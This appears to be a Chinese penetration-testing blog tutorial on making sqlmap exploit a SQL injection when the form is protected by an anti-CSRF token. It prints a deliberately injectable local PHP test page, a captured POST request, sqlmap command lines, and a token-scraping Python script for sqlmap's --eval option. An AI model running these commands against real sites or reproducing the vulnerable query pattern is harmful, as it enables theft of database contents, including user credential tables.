文章目录
- 1. sqlmap自带功能
- 1.1. 方法1
- 1.2. 方法2
- 2. burp的宏
目前防御 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证。针对后两种遇到了注入点,如何自动化利用sqlmap注入呢?
目前防御 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证。针对后两种遇到了注入点,如何自动化利用sqlmap注入呢?
比如说下面这种情况,存在注入点,但是会验证token:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| <?php /* * PHP简单利用token防止表单重复提交 * 此处理方法纯粹是为了给初学者参考 */ session_start(); // var_dump($_REQUEST); function set_token() { $_SESSION['token'] = md5(microtime(true)); }
function valid_token() { $return = $_REQUEST['token'] === $_SESSION['token'] ? true : false; set_token(); return $return; }
//如果token为空则生成一个token if(!isset($_SESSION['token']) || $_SESSION['token']=='') { set_token(); }
error_reporting(E_USER_ERROR | E_USER_WARNING | E_USER_NOTICE); @mysql_connect("127.0.0.1".':'."3306",root,'root') or die("数据库服务器连接失败"); @mysql_select_db('mysql') or die("数据库不存在或不可用");
if(isset($_POST['id'])){ if(!valid_token()){ echo "token error"; }else{ //echo '成功提交,Value:'.$_POST['test']; $id=$_REQUEST[id]; $sql='select * from mysql.user where user='."'".$id."'".' limit 0,1;'; echo $sql; mysql_query($sql); $set_result = mysql_query($sql); while($row =mysql_fetch_array($set_result)){ $result[]=$row; } var_dump($result); } } //echo "SESSION ".$_SESSION['token']; ?> <form method="post" action=""> <input type="hidden" name="token" value="<?php echo $_SESSION['token']?>"> <input type="text" name="id" value="root"> <input type="submit" value="提交" /> </form>
|
sqlmap自带功能
burp抓个包
1 2 3 4 5 6 7 8 9 10 11 12 13
| POST /test/csrf_test/csrf.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Referer: http://127.0.0.1/test/csrf_test/csrf.php?id=root Content-Type: application/x-www-form-urlencoded Content-Length: 46 Cookie: PHPSESSID=o39l0bgbei6lfjn0pg0tu0ghl1 Connection: close Upgrade-Insecure-Requests: 1
token=82e50c9428a2b659f9fba799e8f80bec&id=root
|
现在的目的是只要能把获取到的token放到post请求就OK~
方法1
最新版sqlmap1.2.8.15#dev良好支持csrf注入,它会自动先get请求一次页面,拿到给定参数的值后再进行注入。
1
| python sqlmap.py -r 5.txt --csrf-token="token" --csrf-url="http://127.0.0.1/test/csrf_test/csrf.php" --dbms mysql --level 5 -p id --proxy http://127.0.0.1:8080
|
方法2
使用sqlmap的–eval参数在发送请求前先执行我们构造的脚本,就可以把获取到的token带进去。
执行的脚本示例如下,一定要带上你的cookie,这个是后端“跟踪”你的凭证:
1 2 3 4 5 6
| import requests,re; def get_token(): cookies={'PHPSESSID': 'o39l0bgbei6lfjn0pg0tu0ghl1'} r=requests.get('http://127.0.0.1/test/csrf_test/csrf.php',cookies=cookies); token=re.search('token" value="(.*?)"',r.content).group(1); return token
|
把burp抓到的包保存为1.txt,把eval 的脚本保存为 csrf.py,然后执行sqlmap
1
| python sqlmap.py -r 1.txt --eval="import csrf;token=csrf.get_token()" --dbms mysql --level 5 -p id
|
burp的宏
burp的宏会记录通信过程,找到上下文关系中可能存在的一些依赖。比如token,上一次请求拿到的token下一次请求时得带上这个token。
具体配置参考这篇文章就可以,这里就不赘述了。
最后一条命令搞定
1
| python sqlmap.py -r 1.txt --dbms mysql --level 5 -p id --proxy http://127.0.0.1:8080
|
美滋滋。
参考链接:
https://blog.csdn.net/u011066706/article/details/51175351
https://www.cyberis.co.uk/burp_macros.html
https://my.oschina.net/oby/blog/847522
http://www.freebuf.com/articles/web/156735.html
http://www.freebuf.com/sectool/128589.html
http://www.vuln.cn/7009